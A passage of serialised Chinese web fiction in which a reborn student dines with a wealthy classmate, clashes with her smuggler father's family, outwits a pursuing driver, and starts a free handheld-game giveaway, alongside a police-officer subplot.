胡荔荔说:“我就是个打酱油的,从头到尾就站在旁边看了看,这钱我可不好意思拿。” 于鑫双手抱胸,下巴微微抬起,一脸正气:“我是男子汉大丈夫,富贵不能移,威武不能屈。不管富婆用什么手段,砸多少钱,都无法得到我的人!” 胡荔荔斜眼看他:“你这话说得真贱啊。” 展雪看了于鑫一眼,面无表情:“富婆眼睛又不瞎。” 于鑫的笑容僵在脸上。 展雪不再理他,目光转向韩学涛,手里那沓钱在手上晃了一下。 韩学涛语气随意:“你赢的钱就是你的。大不了请我们吃一顿呗。” 展雪说:“那走呗。” “我不去了。”小巴垂着头,蔫巴巴的,“我想回寝室睡觉。” 这几天他被那台水果机折腾得够呛,从兴奋到焦虑到绝望,再到今天晚上这一出大起大落,情绪像坐过山车一样来回折腾了八百遍,现在整个人像被掏空了,只想躺平。 胡荔荔看了眼手表:“我也不去了。要考英语四级了,我得去自习教室看书。” 于鑫一听,立刻跟了一句:“我也报名了。我陪你一起去。” 胡荔荔看了他一眼,没说话,转身走了。于鑫屁颠屁颠地跟上去,走了两步又回头冲韩学涛挤了挤眼睛。 转眼间,就剩下展雪和韩学涛两个人。 展雪挑衅地看着韩学涛,“我听听你打算用什么理由拒绝我。” “有人请吃饭,我干嘛要拒绝?”韩学涛笑了一下,“走吧,小食堂走起。吃完了你还不满意,咱们就去木吉他再喝一杯。够意思了吧。” 展雪微微一笑。 “等我一下。”她说。 “干嘛?” 展雪已经转身朝女生宿舍楼的方向走了,背对着他摆了摆手:“换衣服。” 韩学涛愣了一拍:“就吃顿饭,你还回去换什么衣服?” 展雪头也没回,声音飘过来:“女人吃饭之前换衣服,不是很正常么?” 韩学涛站在梧桐树下等了十来分钟,脚步声从宿舍楼那边传过来,转头一看,展雪完全换了一种风格—— 她换了一件红色短袖T恤,版型略宽松,扎进一条黑色的高腰直筒裤里,脚上是一双红色帆布鞋。红与黑的搭配,干净利落。 “走吧。”展雪走到他面前,像什么都没发生过一样,率先迈开了步子。 两个人走了七八分钟,到了小食堂门口。展雪脚步没停,径直走过去了。 韩学涛看了她一眼:“去哪儿?食堂在那边。” 展雪头也没回:“两千块钱呢,去食堂怎么吃完?” 韩学涛跟上来:“你要把两千块钱都花完?” “当然。”展雪的语气很理所当然,“这种钱,我可不想留在身上。” 韩学涛没再问了。 两个人穿过半个校园,走到保安室旁边的车棚。展雪的摩托车停在最里面,上次那道划痕还在——从油箱侧面斜着拉过去,灯光下看得清清楚楚。 展雪从车筐里摸出头盔,扔给韩学涛:“你来骑,我给你指路。” 韩学涛一把接住,扣到头上,边系带子边说:“我说呢,吃顿饭还回去换什么衣服——原来你早有打算。” 展雪已经戴好另一个头盔,跨上后座,干脆利落。 韩学涛笑着跨上前座,插钥匙,打火。“嗡”的一声,车灯照亮了前方一小片路面。 展雪指路,韩学涛骑车,两人来到一家西餐厅。 餐厅开在距离市中心不远的一条巷子尽头,老槐树下立着一栋灰色小洋楼。没有霓虹灯,也没有夸张的招牌,门口的石柱上挂着一块铜质铭牌,刻着一行花体法文,下面一行小字——梧桐汇。门口停着几辆黑色轿车,整条巷子闹中取静。 韩学涛把车停在梧桐树下。展雪摘下头盔,推门进去,韩学涛跟在后面。一进门,闷热和噪音瞬间就被关在了外面。 门厅铺着深色大理石。一个穿黑色西装马甲的年轻人迎上来,引他们穿过走廊,走进主餐厅。 里面光线暗了两度。深色护墙板,奶油色墙面,壁灯亮着,光柔柔的。每张桌上铺着雪白的桌布,摆着银烛台和小瓶鲜花。靠窗能看见天井,一棵桂花树的枝丫伸到窗边。 服务生把他们引到靠窗的位置坐下,递上一本菜单。 展雪接过菜单翻了翻,直接扔给韩学涛:“你点菜。” “你请客你点啊。”韩学涛又把菜单推了回去。 “男的负责点菜,这是规矩。”展雪说着已经不看菜单了,转头对服务生说,“先来一瓶XO。” 服务生点头:“好的,请问要哪个品牌的?” “轩尼诗。” 服务生在点菜本上记了一笔,又问:“需要配冰绿茶或者冰红茶吗?” “不要。”展雪干脆利落地答完,目光扫了一眼韩学涛,顿了一下,“……来绿茶吧。” 服务生点点头。韩学涛没说什么,心里却清楚——展雪那一顿,是怕他喝不惯。 XO这东西刚进国内的时候,很少有人能直接喝下去。干邑那股浓重的橡木桶单宁味儿,对喝惯了白酒的中国人来说,跟喝木头汁似的。再加上四十度往上的酒精度,一口下去从嗓子眼烧到胃里,没点底子的人真扛不住。 也不知道是谁最先发明的,兑冰绿茶。甜丝丝的茶味一冲,酒精的灼烧感被压下去大半,入口顺了不知道多少倍。还有一个更实在的原因——兑了绿茶,酒就变多了。一瓶XO一千多块,请客的人桌上摆个瓶子,面子上过得去,实际上兑了一整壶,一人一杯还能再添两轮,既有了面子,又省了里子。 不过展雪显然不是冲着装面子来的。 韩学涛翻了几页菜单,点了一份牛排、一份焗蜗牛、一份沙拉,又加了一份汤。服务生记完退了下去。 没过多久,一个托盘送了上来。一瓶轩尼诗XO,旁边配了一个透明的玻璃酒壶和一铝罐冰绿茶。 服务生站在桌边,托着酒瓶问了一句:“全部都倒出来吗?” 展雪看了韩学涛一眼:“都倒出来吧。同甘共苦,喝一样的。” 韩学涛没意见。 服务生打开酒瓶,琥珀色的酒液缓缓注入玻璃酒壶,一股带着果干和橡木气息的香味散了出来。接着又把整罐冰绿茶倒了进去,琥珀色顿时浅了两度,变成透亮的棕红色。 服务生拿起长柄搅拌棒轻轻搅了几下,把酒壶放在桌子中央,鞠了个躬,转身要走。 “等一下。”展雪叫住了他。 服务生回过身。 “瓶子不砸吗?” 服务生愣了一下,随即反应过来,脸上闪过一丝歉意:“抱歉,您稍等。” 他快步走开,不到两分钟就回来了,手里多了一块深色厚布。他把XO瓶子裹进布里,蹲下身,在桌边找了个安全的位置,用力一敲——“咔”的一声闷响,瓶子碎了。他把碎玻璃仔细包好,又鞠了一躬,退了下去。 韩学涛靠在椅背上,看着这一幕,心里明白展雪的用意,没想到这丫头还挺较真儿的。 展雪以为他不知道,解释道:“做假酒的人会专门回收这种空瓶子。就这一个瓶子,市面上能卖两百多块钱呢。” 第151章 未曾料到的人 两个人就这么吃着喝着聊着,一瓶XO不知不觉就下去了大半。韩学涛注意到,展雪喝酒又急又快,一杯接一杯,中间几乎不带停的。 “你慢点儿。又没人跟你抢,喝这么急干什么?” 展雪抬眼看他:“这就是我的正常速度。今天也就是陪你,平时我都不加绿茶的。” 韩学涛说:“除了存心想把自己灌醉,我想不出还有什么理由这么喝。” “是有这个想法,可惜一直没实现过。”展雪放下杯子,语气认真。 “怎么说?” “从我学会喝酒之后,就一次都没醉过。”展雪淡淡地说,“我拿自己做过实验,就这种XO,像喝啤酒那样连着干过两瓶——身体上已经受不了了,皮肤发麻,肚子里像吞了座火山。可头脑还是清醒的,该干什么干什么,一点儿都不影响。” 韩学涛摇了摇头:“真不知道该羡慕你,还是该同情你。” “我妈带我去看过医生,医生也说不出个所以然来,只劝我别喝太多,因为就算不会醉,酒精在体内照样伤身体。” 她顿了一下,手指沿着杯沿慢慢转了一圈,“从那以后,我对喝酒就有点提不起劲了。喝酒不就是为了喝醉吗?要是怎么都醉不了,那喝着还有什么意思?” 韩学涛沉默了两秒:“喝醉不是目的。想喝醉背后的原因才是关键吧?” “逃避呗。”壁灯映得展雪的表情有些模糊。她端起杯子又喝了一口,这回没那么急了,像是在想什么心事,“后来我就不太想喝了。但我爸反而发现了我的天赋,经常带我去应酬客户。有我帮他挡酒的那些饭局,他很少再喝醉。” 韩学涛撇嘴问:“是亲生的吗?” 展雪抬头一愣:“是啊。你什么意思?” 韩学涛说:“让亲生女儿帮着挡酒……你爸能成功,想来不是偶然的。” 展雪笑了起来:“他生了我,给了我今天的一切。我帮他喝点酒算什么?” 两个人就这么吃着喝着聊着,一瓶XO渐渐见了底。绝大部分是展雪喝的,韩学涛撑死喝了三分之一。 他自己的酒量其实也还可以,但不好这一口——这世上不管什么酒,在他眼里都不如可乐好喝。对韩学涛来说,酒精对人类唯一的用处,大概就是消毒。 展雪把最后一点酒倒进杯子里,晃了晃,仰头喝完,伸手招呼服务员。 “再来一瓶。” “行了。”韩学涛拦住她,把她的手按回桌上,“这一瓶就一千多,加上点餐,再来一瓶就超标了。” “我想喝。” “欲望就是用来克制的,”韩学涛说,“再喝下去,待会儿我就没法骑摩托车了。” 这年头酒驾查得还不算严,没有电子酒精检测仪,只要不走S形,交警一般不太管。可赶上港岛回归,正在搞交通专项治理,万一被拦下来闻到酒味就麻烦了。他连摩托车驾照都没有,真要给拘留了可不好办。 “你这人真没劲。”展雪看了他一眼,把手缩回去,没再坚持。 结了账,两人出了门。外面的天已经彻底黑了,路灯亮着,地上的影子晃来晃去。六月里的晚风带着一股闷热,吹在脸上黏糊糊的。 韩学涛刚走下台阶,展雪忽然一把抓住他的胳膊。 “怎么了?” 展雪没说话,盯着巷口方向—— 一辆黑色奔驰正拐进来,车身敦实,车漆在路灯下泛着幽光。 “我爸来了,快躲一躲。”展雪脸色一变,拉着他就要往餐厅里拽。 没等转身,身后传来一个声音。 “展雪。” 声音不大,却有种让人没法忽视的分量。 韩学涛转过身。 车里下来一个人,五十岁上下,身材不算高大,最引人注意的是他的头发——花白的,黑发与白发均匀交织,像被霜打过的铁,硬邦邦的。脸上的线条也硬,颧骨高,下颌宽,眼睛不大,可目光暗沉,像深水下压着的暗流。 展雪松开了韩学涛的胳膊:“嗯,跟同学一起吃饭。” 男人的目光从展雪身上移到韩学涛脸上,只是一扫,像贴着皮肤滑过去,两把刀似的。 “跟男生吃饭,别让人家花钱。要么你请,要么AA。”男人语气不重,却给人没有任何商量的余地的感觉。 而韩学涛站在那里,表情没变,心里却一阵翻涌—— 来胜平? 他认出来了。 上一世,来胜平搞走私,海陆两线,规模很大,香烟、汽车、成品油什么都走,案发后轰动全国,却在收网前四十八小时逃到国外。 两人本无交集——来胜平全盛时,韩学涛还在蹲监狱。后来在南美见过一面,彼时来胜平已经败落,想拉他合作,他觉出此人背景复杂,拒绝了,之后再无联络。没想到重生后在这儿碰上,而且,竟是展雪的父亲。 车里又出来一个年轻男子,头发油光锃亮。他看见展雪和韩学涛,愣了一下。 韩学涛也认出了他——木吉他酒吧里,被他抄起吉他砸了的那个。 来胜平重新拉开车门,对那年轻男子说:“别下来了。换一家吃。” 年轻人张了张嘴,又闭上了,缩回车里。 展雪站在台阶上,肩膀一点点松下来。看到奔驰拐出巷口,她这才长长地吐出一口气,拉住韩学涛的袖子:“走走走,快走。” 她跨上后座,刚把头盔扣好,车灯又从巷口扫了进来——奔驰倒回来了。 “展雪。” 车窗落下一半,来胜平坐在后座,隔着几米远的距离看着她:“上车!你妈念叨你好几天了,跟我回去看看。” 展雪的手指停在头盔带子上,僵了两秒。她转头看了韩学涛一眼。韩学涛没说话,只是微微点了下头。 她摘下头盔,下了车,朝那辆黑色奔驰走去。 来胜平没再看韩学涛一眼。车窗无声地升了上去。 展雪拉开后座车门,正要钻进去,前座车窗忽然摇了下来。来俊杰探出半个脑袋,胳膊搭在窗沿上,似笑非笑地看着韩学涛。 “小子,这车是你的?”他瞟了一眼那辆摩托车,嘴角一撇,“以为长得帅,骑女人的车就心安理得了?” “来俊杰,关你屁事!”展雪的声音从后座炸出来。 来俊杰没理她,眼睛还钉在韩学涛身上。 韩学涛扫了他一眼,一个字都没说,从口袋里摸出车钥匙,随手一扔——钥匙在空中划了道弧线,不偏不倚落在展雪腿上。 然后他把双手插进裤兜,转身走了。步子不快不慢,晃了两晃,拐进巷口的阴影里,连头都没回。 奔驰车发动,拐出巷口,汇入主路的车流。 来俊杰从副驾驶扭过头,看着后座的展雪:“小妹,别那么大火。我是帮你甄别男人。有些男的长得帅,其实就是绣花枕头——专骗女人的钱,跟夜总会的公主一个德性。” 展雪冷笑了一声:“我看你是被他打过,怀恨在心吧。” 来俊杰脸色一变。 展雪没给他喘息的机会,继续说:“夜总会的公主怎么了?上次你陪那个京城来的公子哥,骨头软得不也跟太监似的?” 车厢里的空气瞬间冷了下来。 来俊杰一脸寒霜地转过头,一字一顿:“你说什么?再说一遍。” “行了!”来胜平张口,两个字,车厢里的空气就被冻住了。 来俊杰腮帮子鼓了一下,把目光收了回去,没再吭声。 “前面路口停一下。我还回去吃饭。”来胜平看向窗外。 车子靠边停下。司机正要熄火,来俊杰推开车门下了车,绕到驾驶座那边,一把拉开车门:“你去吧,我来开。今天不用你了。” 司机嗯了一声,一句话没说,下了车。 来俊杰握住方向盘,掉头沿着来时的路往回开。还没开出两百米,后座忽然传来展雪的声音,又尖又紧:“停车!” “干什么?” “你把阿豹派下去干什么?停车!” 来俊杰没理她,油门反而又往下踩了踩。 “来俊杰,我说停车!”展雪吼了出来。 “你有病啊?他没吃饭,我让他自己去吃饭不行吗?” “停——” 展雪猛地从后座探过身去,一把抓住方向盘,拼尽全力往旁边一掰。车子猛地一偏,轮胎在路面上发出一声尖厉的嘶叫,车身擦着马路牙子冲了出去,差点翻过去。 来俊杰死命踩住刹车,轮胎抱死,车身猛地一顿,两个人同时往前一栽。 “你疯了!”来俊杰吼了出来。 后座传来一声脆响,又脆又狠。 来胜平一巴掌扇在展雪脸上! 车厢里彻底安静了,只剩下发动机低沉的嗡鸣。 “你想害死我!”来胜平暴跳起来,“嫌我活得长了?” 展雪慢慢坐直了。脸上红了一片,火辣辣的,但她没有捂脸,也没有哭。她伸手推开车门,下了车,站在路灯底下,整个人被照得通亮。 她转过身,看着车里的来胜平,一字一句地说:“我妈欠你的,我还。这条命给你都行。但你干涉我的事,别怪我让你后悔。” 说完,她猛地摔上车门,转身就走。 车里彻底安静下来。来俊杰从后视镜里看了一眼来胜平的脸色,舔了舔嘴唇,小心翼翼地开口:“爸,你看到了。女人都这德性,喂不熟的。亲生的也一样。” 来胜平没说话,摸出一根烟点上,深深吸了一口。烟雾在车厢里慢慢散开。过了好一会儿,他才开口,声音忽然平静得像什么都没发生过:“雪儿骑一辆摩托车给喜欢的男生,就这么点事。你什么时候能大气一点?” 来俊杰张了张嘴,想说什么,又咽了回去。 来胜平吐出一口烟,闭上眼睛:“走吧。” 第152章 阿豹的悲剧 韩学涛走进巷子的时候,就察觉到身后有人。 那脚步声不紧不慢,他快,对方也快;他慢,对方也慢。他回头扫了一眼,立刻认出了那个人——正是刚才那辆奔驰车的司机。 这是要来算木吉他酒吧那笔账了么? 韩学涛面色一凛,脚下却没停,径直拐进了一条窄巷。 这片是市中心的美食街,巷子交错,两边全是饭馆的后墙。排气扇呼呼地转,油烟味混着下水道的潮气,黏腻地弥漫在空气里。他对这一带不算熟,但早年在黑道上混出来的本能告诉他:看巷子,看的不是路,而是墙、是门、是死角。 他迅速扫了一圈。左边是一排后门,右边是死墙,前方三十米处有个拐角——拐过去应该是个死胡同。但拐角过去第三家饭馆的后门旁边,有一块凹进去的墙缝,刚好够一个人侧身躲进去。 他心里有了数,脸上却不动声色,步子依旧不紧不慢地往前走。 拐过弯后,他加快了两步,朝身后瞥了一眼,随即一脚踢翻地上的破油桶,闪身躲进那道墙缝里,贴着墙站好。身后是窄巷,面前是一扇铁皮门,门缝里透出昏黄的灯光,锅铲声和嘈杂的人声混成一团。 他等了整整三秒。 脚步声从拐角那边传了过来,越来越近。那人拐进巷子,看见前面是一堵墙,脚步不由得一顿。巷子里空空荡荡,只有那扇铁皮门半掩着,往外冒着热气。 他看不见韩学涛,微微皱了皱眉,毫不犹豫地拉开门,迈了进去。 门后是饭馆的后厨。他刚伸手搭上门框,脚下就踩到了一摊油——正是韩学涛刚才踢翻的那个破油桶,里面的油慢悠悠地淌了一地,刚好淌到门槛内侧。 脚下一滑,他整个人猛地往前栽去。这人反应也快,双手死死撑住门框,想稳住身体。可就在这一瞬间,一记重踹从背后狠狠砸在了他的腰眼上。 “砰——” 一声闷响。他整个人像被卡车撞了似的,彻底失去平衡,双手在空中慌乱地抓了两下,什么也没抓住,贴着油腻腻的地砖,整个人飞一样地滑了出去。 他滑过地面,撞翻了泔水桶,泔水泼了一身。可他没停下来,继续往前滑,双手在地上乱刨。紧接着,肩膀撞上了灶台的腿,整个人翻了个个儿,脑袋直直地冲向了灶台。灶台前,一个厨师正端着炒锅猛火颠勺,火星子蹿得老高,冷不丁被这颗飞过来的人头吓了一跳,锅一歪,整锅热菜连油带汁全扣在了那人脑袋上。 炒锅飞了出去,哐当一声砸在地上。灶台上的调料罐、油壶、水盆叮叮当当倒了一大片,酱油和醋混在一起,流了满台。 那人瘫在灶台边,脑袋上豁了个口子,血顺着脸往下淌,整个人一动不动了。 后厨顿时炸开了锅。厨师们围了上来,有人骂骂咧咧,有人喊着报警,有人赶紧拿毛巾按住伤口。 巷子里,韩学涛从墙缝里慢慢走了出来,站在门口往里看了一眼。他自己也愣了一下——真没想到会搞成这样。 “韩学涛!” 身后有人喊他。 他回过头。展雪站在巷口,喘着气,脸上带着明显的焦急。她是一路跑过来的,头发被风吹得有些凌乱。 “你怎么来了?”韩学涛有些意外,“不是跟你爸走了吗?” “不想回去。”展雪说,“明天学校还要排练。”她往他身后看了一眼,压低了声音,“就你一个人?我看到阿豹过来了。” 韩学涛抬手指了指后厨的门:“里头呢。” 展雪正要过去看,韩学涛伸手一挡:“小心脚下,全是油。” 展雪小心地走过去,从门缝往里一看,整个人呆住了。阿豹躺在灶台边,脑袋上全是血,身上挂着菜叶和汤汁,几个厨师正围着他,有人拿毛巾按伤口,有人在打电话。 展雪张了张嘴,声音都变了:“这……怎么搞的?” 韩学涛站在她身后,语气里透着一股无辜:“我也不知道。这巷子七拐八拐的,我走迷了路,拐进来正准备回头,这个大个子就冲进来了——一脚踩在油上,直接滑了进去,吓我一大跳。” 他顿了顿,偏头又往里面瞟了一眼,慢悠悠地补了一句:“这得饿成什么样了?” 展雪转过头看着他,嘴巴微张,眼神里有一种说不清道不明的东西,盯着他看了好几秒。 韩学涛一脸坦然。 展雪又把头转回去,看了一眼里面那副惨状,再转回来看着他。 韩学涛换了个话题,语气随意得像在聊天气:“这是你爸的司机吧?不是我说你们家——司机一定得吃饱饭啊。这现在是人冲进后厨,万一下次开着车冲进哪家店怎么办?” 展雪盯着他看了两秒。 然后“噗嗤”一声笑了出来。 ... “原谅我这一生不羁放纵爱自由, 哪怕会有一天会跌倒,oh no……” 木吉他酒吧的角落里,音箱里正放着Beyond的《海阔天空》,声音不大,刚好盖过隔壁桌的窃窃私语。主歌部分低沉沙哑,到了副歌才猛地拔上去。几个大学生跟着吼了一嗓子,吼完又笑着缩了回去。 韩学涛和展雪坐在靠墙的卡座里。刚才那瓶XO,在骑摩托车回来的路上仿佛被风吹散了,两人又要了两杯扎啤。桌上摆着酒吧送的麻辣花生和一小碟盐水毛豆。 展雪喝了一口酒,忽然问:“之前你知道我爸吗?” 韩学涛点点头:“胜平集团,著名企业家。” 展雪看了他一眼,有点意外:“你不是地质系的吗?怎么还关注这个?” 韩学涛端起扎啤喝了一口:“怎么,特困生就不配关注有钱人了?我可是经常买财经报纸看的——你去问问报刊亭的刘姨,哪期《经济观察报》我没买过?” 展雪没笑,但嘴角动了一下。 “我爸叫来胜平。我跟我妈姓。”她说。 “只要血缘没问题,姓什么似乎并不是很重要。” “你不懂。如果不重要,就不会这么安排了。”展雪的声音低了一点,但很快又恢复如常,“算了,无所谓了。小时候看到同学都随父亲姓,我还有些芥蒂,后来就坦然接受了。现在反而觉得挺好——姓名就是一个符号。哪怕不随父姓、不随母姓,随便起一个阿猫阿狗似的姓氏,我都不会在意。” 韩学涛看了她一眼,没接话。沉默了两秒,他换了话题:“我记得你说过,你要转学?出国吗?” 展雪说:“就在国内,可能转到粤省去。” “粤省那边好像也没什么大学能超过宁海大学了吧,这么转有什么意义?”韩学涛一愣。 展雪端起扎啤,说:“对我没意义,但是对我家里有意义呀。” 她说这话的时候语气很平,像在说一件跟自己没什么关系的事情。 音箱里换了歌,又是一首老歌,旋律缓缓的,像水一样淌过来。 展雪忽然举起杯子,杯沿朝着韩学涛:“我们也算是初入校门,在新生汇演上合作过,加上联谊寝室,到现在也算是朋友了。” 韩学涛也举起杯子,碰了一下。 展雪说:“我走之前,送我一件礼物吧。” 韩学涛说:“行,你想要什么?” 展雪歪头问:“想要什么都可以吗?” 韩学涛笑了一下:“我是特困生,你别太贪心啊。” 展雪也笑了,嘴角浅浅一弯,说:“我又不缺钱。” 第153章 老大想干嘛? 测绘局的地图数字化工作,韩学涛他们已经完成了一大半。 三台电脑,一条流水线,一旦跑顺了,效率高得惊人。原先绘图室几年都干不完的活,他们不到一个月就干出来了。测绘局的人看得叹为观止,魏局长还特意批了一笔奖金,三个人每人得了一千八百块。 韩学涛把钱往兜里一塞,看了眼手机上的时间——下班了。他没有回学校,而是直接打了辆车,往龙宫大酒店赶去。 龙宫大酒店在宁海火车站旁边,一栋灰扑扑的七层楼,看起来不起眼,可楼里进进出出的都是做生意的。包达在四楼租了三间房,挂上一块“丽华商贸”的牌子,算是把摊子支了起来。 韩学涛推开办公室的门,包达正蹲在地上,手里攥着一台方块机,眼睛紧盯着屏幕,大拇指按得飞快。“来了来了。”他头都没抬,“小丽,老大来了。” 包丽从里间走出来,手里也拿着一台方块机。她穿一件白色短袖衬衫,头发扎成马尾,整个人干练了不少。她把韩学涛领进里间,桌上整整齐齐码着几十台方块机,外壳五颜六色,屏幕上都亮着“GAME OVER”的字样。 “从粤省那边进的货。”包丽递过一台给韩学涛,“按你的要求做的。” 韩学涛接过机器,翻过来看了看。塑料外壳手感不错,按键反馈力度适中,屏幕清晰度也比市面上那些俄罗斯方块机高出一截。 他开了一局,屏幕上出现一个骑自行车的小人,背景缓缓移动。跑了一段路,画面忽然切换,跳出一个打砖块的小游戏。他玩了两把,点了点头:“不错。” 包达从外头跟进来,终于舍得放下手里的机器:“我打了一整天的游戏,别说,这设计还真挺好玩的。骑着自行车跑到不同的地方就能切小游戏,我到现在都没把所有关卡打出来。” 包丽在旁边补充:“这次一共订了三千台,全按你的要求做的。吴厂长对我们的货很上心,保证以后优先供应。” 韩学涛把机器放回桌上,拍了拍手:“行,那就开始干吧。正好我这边的工作也快收尾了。” 包达凑过来:“怎么干?” “送。”韩学涛说。 包达愣了一下,脸上的表情变了又变:“真送啊?老大,这方块机要是拿去卖,利润少说百分之五十以上——咱三千台,赚这个数不成问题。”他伸出一个巴掌。 韩学涛看了他一眼,语气很淡:“不差这点钱。我又不是真要卖机器。”包达张了张嘴,到底没再说什么。 送。怎么送? 韩学涛在出租屋的白板上画了一张图,跟包达和包丽讲了半个小时。目标很明确——出租车司机,还有那些走街串巷开三蹦子、跑黑车的。条件也简单:十块钱押金,机器拿走。玩坏了拿回来,换台新的,或者退押金,都行。 包达负责找业务员。通过职业介绍所,很快招了八个,清一色的年轻人——有刚毕业的,有跑过销售的,还有一个以前在游戏厅干过。包丽给他们每人发了一件印着“丽华商贸”的白T恤,一人拎一个帆布包,袋子里塞满方块机,就撒出去了。 业务员们往火车站、汽车站、出租车排队的候客区跑,见着司机就上去搭话:“师傅,免费玩游戏机,要不要?” 头几天,反应出奇地一致——“不要不要,哪有这种好事?”司机们摆手像赶苍蝇似的,有人连车窗都不摇下来。业务员们碰了一鼻子灰,陆续打电话回来诉苦。 这时候包丽已经很有经验了。她让业务员直接把试用机递到人家手里,玩顺手了,自然就想要了。 转机出现在第三天。一个跑夜班的出租车师傅,在火车站排队等活儿时实在无聊,接过业务员递来的方块机玩了几把。等前面车队的车子一辆辆走掉,他还舍不得放下,一口气玩到了自己该接客的位置。 “这玩意儿确实有点意思。”他跟同伴说,“特别是那个骑车跑路段的,跑着跑着就变游戏了,比那些老掉牙的俄罗斯方块强多了。而且就押十块钱,人家明说了,坏了给你换新的,或者退钱都行。” 一个口子开了,后面就快了。火车站排队区、汽车站候客区、几个大商场的出租车停靠点,陆续有司机接过了机器。 街头巷尾那些开三蹦子的黑车司机消息更灵通,听说有这么个好事,三三两两主动找上门来。包丽专门在龙宫大酒店楼下设了一个点,立了块纸板,上面写着“免费玩游戏机”几个大字,每天从早到晚都有人来领。 一时间,宁海市的各路司机中间出现了一幅奇景——火车站候客区,出租车排成长龙,司机们个个低着头,手里攥着一台小方块机,大拇指按得噼啪响。有人玩到了“大金刚”关,激动地摇下车窗冲旁边的同行喊:“老李,你这台出没出过采蘑菇的关卡?我跟你说,得跑到五公里以上才能解锁!” 汽车站前广场,七八辆三蹦子停成一排,车主们各自捧着游戏机,谁也不跟谁说话,只偶尔爆出一声“又死了”。后座一个等活儿的乘客问:“师傅,走不走?”车主头都没抬:“等一下等一下,打完这把。” 连出租车司机在计价打表等红灯的那点间隙,都要掏出机器按两下,副驾驶座上跑来跑去的小人儿,比乘客还重要。 三千个游戏机很快就都送出去了。还不断有出租车司机来问,包丽只好又去粤省进货。 包达看着钱花出去,有点心疼,却实在闹不明白韩学涛到底想干什么。不过想想,确实是这位年轻老大的行事风格——目的向来明确,就是让人猜不透。 ... 螺塘街派出所,学习室里,马辉正埋头抄《规章》。 门口忽然有人喊了一声:“马辉,外面有人找。” 他手里的笔一顿,脸上掠过一丝慌乱:“完了完了,肯定是袁伯来了。上次拿他搬家当幌子请假,这回准是兴师问罪的。” 余兵放下笔:“马哥,这事儿跟我们可没关系啊,主意可是你出的。” 刘小勇也跟着点头:“对,袁伯还是你跟师傅最熟,我们俩出去也不够分量。” 余兵接着补了一句:“马哥,要不你去找师傅出面,帮我们说几句好话。回头我们买点东西,去收发室看看他老人家,把这个梁子揭过去不就行了?” 马辉叹了口气:“只能这样了,你们俩就躲吧。我去找师傅。” 他从学习室出来,喊他的女内勤看了他一眼,嘴角动了一下,表情有点奇怪。 马辉:“姐,袁伯人呢?” 女内勤憋着笑:“在接待室呢。你一会儿自己过去吧。” “唉唉唉。”马辉应了两声,脚步没停,先去找田伟。 没走出几步,楼梯上下来一个人——严所长。马辉赶紧站定,叫了声“严所”。 严所长看了他一眼,朝自己办公室的方向偏了偏头,示意跟自己进去。 “小马,坐。” 门一关,严所长在办公桌后面坐定,手指在桌上轻轻叩了两下。 “小马,你现在转正了,不仅仅是螺塘街派出所的民警,也别忘了——你还是604专案组的成员。” 马辉愣了一下,随即挠了挠头:“所长,我那就是挂个名儿。专案组什么情况我也不清楚,平时开会也不通知我啊。” 说起来,上次整形医院的毒品案,宁海市成立了“6·04”专案组,由市局直接牵头。 马辉是第一个闯进手术室、第一个发现毒品的民警,付祥民亲自点名把他编了进去。不过也就是挂个名字——工作地点还在螺塘街派出所,专案组开会从来不叫他,有什么进展也不通知。说白了,就是个摆设。 但这案子之后,马辉他们三个算是出了名。毕竟这案子在宁海算是有史以来最大的毒品案之一。他们三个最后虽然写了检讨,却全都转了正。要知道,这一批很多本科警校毕业生都还没转正呢,他们仨——一个高中学历,两个中专——竟然是第一批。 严所长说:“人家不叫你,你不会主动问吗?哪怕表个态度也是好的。” 马辉张了张嘴,没说出话来。 “你跟你师傅学,要学好的方面。”严所长看着他,“但你原本工作积极的优点要继续保持。年轻的时候,有好的机会,该冲就要冲。” “知道了。”马辉点头。 他也不是不想冲,现在他甭提多想抓住那个吴翔了,可人被困在螺塘街,根本动不了。一想起来,就憋得慌。 出了所长办公室,他转身去找田伟,结果师傅还不在——出去巡逻了。 马辉抓了抓头发,更郁闷了。 没办法,只能硬着头皮自己去接待室。 他走到门口,深吸一口气,推开了门。 “袁伯,我——” 话卡在嗓子里。 接待室里没有袁伯。一个穿裙子的女生坐在椅子上,双腿并拢,手搭在膝盖上,身边放着一个保温桶。 听见门响,她抬起头来。 马辉整个人僵住了,手还搭在门把手上,眼睛瞪得溜圆。 “点点?” 第154章 情怯 马辉整个人僵在门口。 手还搭在门把手上,脚却像钉在了地上。 他不是没想过去找罗点点。这几天,想得厉害。有时候躺在床上翻来覆去,脑子里全是她的样子。可越是想,心里就越怯。 他甚至说不清楚自己在怕什么——怕见面不知道说什么?怕她问起那天的事?还是怕自己大学退了学,从此没法再面对她? 有好几次,他巡逻经过师范学院门口,都忍不住多看一眼校门,又在心里催自己:快走,快走。一边加快脚步,一边用余光往校门里瞟。又想看见那个身影,又怕自己的身影被她看见。矛盾到了极点,连他自己都觉得荒唐。 他怎么也没想到——罗点点会自己找到派出所来。 马辉的手在门把手上捏了又松,松了又捏。最后,挤出一句: “点点……你、你怎么来了?” 罗点点坐在椅子上,并着腿,手搭在膝盖上,保温桶放在脚边。她抬起头,看着他: “你到螺塘这么久了——为什么不去找我?” 马辉张了张嘴。喉咙像被什么东西堵住了。 “我……”他挠了挠头,“所里忙。事儿多。” 罗点点没接话。就那样看着他。 马辉被她看得浑身不自在。目光从她脸上移到天花板,又从天花板移到墙上——就是不敢跟她对上。 罗点点也没再追问。她弯下腰,把脚边的保温桶提起来,搁在桌上,拧开盖子。 一股香味猛地散出来。辣椒的、鸡肉的,混在一起,在小小的接待室里慢慢弥漫开。 “周末回了趟家。”她说,“我妈做了辣子鸡。我带了一半过来。” 马辉看着那个保温桶,愣了一下。他挪过去,低头看了一眼——金黄的鸡块,干辣椒和花椒粒裹在上面,油亮亮的,还冒着热气。 “你……”他嗓子有点发紧,“你专门给我带的?” “不然呢?”罗点点把盖子盖回去,推到他面前,“你如果不能吃辣——我就带回去了。” 马辉赶紧伸手按住保温桶:“吃。能吃。” 罗点点嘴角弯了一下。很快又收住了。 她重新坐好,双手交叠放在膝盖上,像是在斟酌该怎么说。 “还有一件事。”她说,“我想请李曼和韩学涛一起吃顿饭。” 马辉抬起头。 “上次他们来师大,我都没请人家吃饭。”罗点点说,“我想找个时间,好好请他们一顿——算是谢谢他们。正好,你也在螺塘。我们两个,可以一起请。” 马辉愣了一下:“我也要请?” “你不想请?”罗点点看着他。 “不是、不是……”马辉连忙摆手,“我是说——行。行。一起请。” 他脑子里拐了个弯。 我跟她。一起请。 这几个字在脑子里转了一圈,感觉心窝,慢慢热了起来。 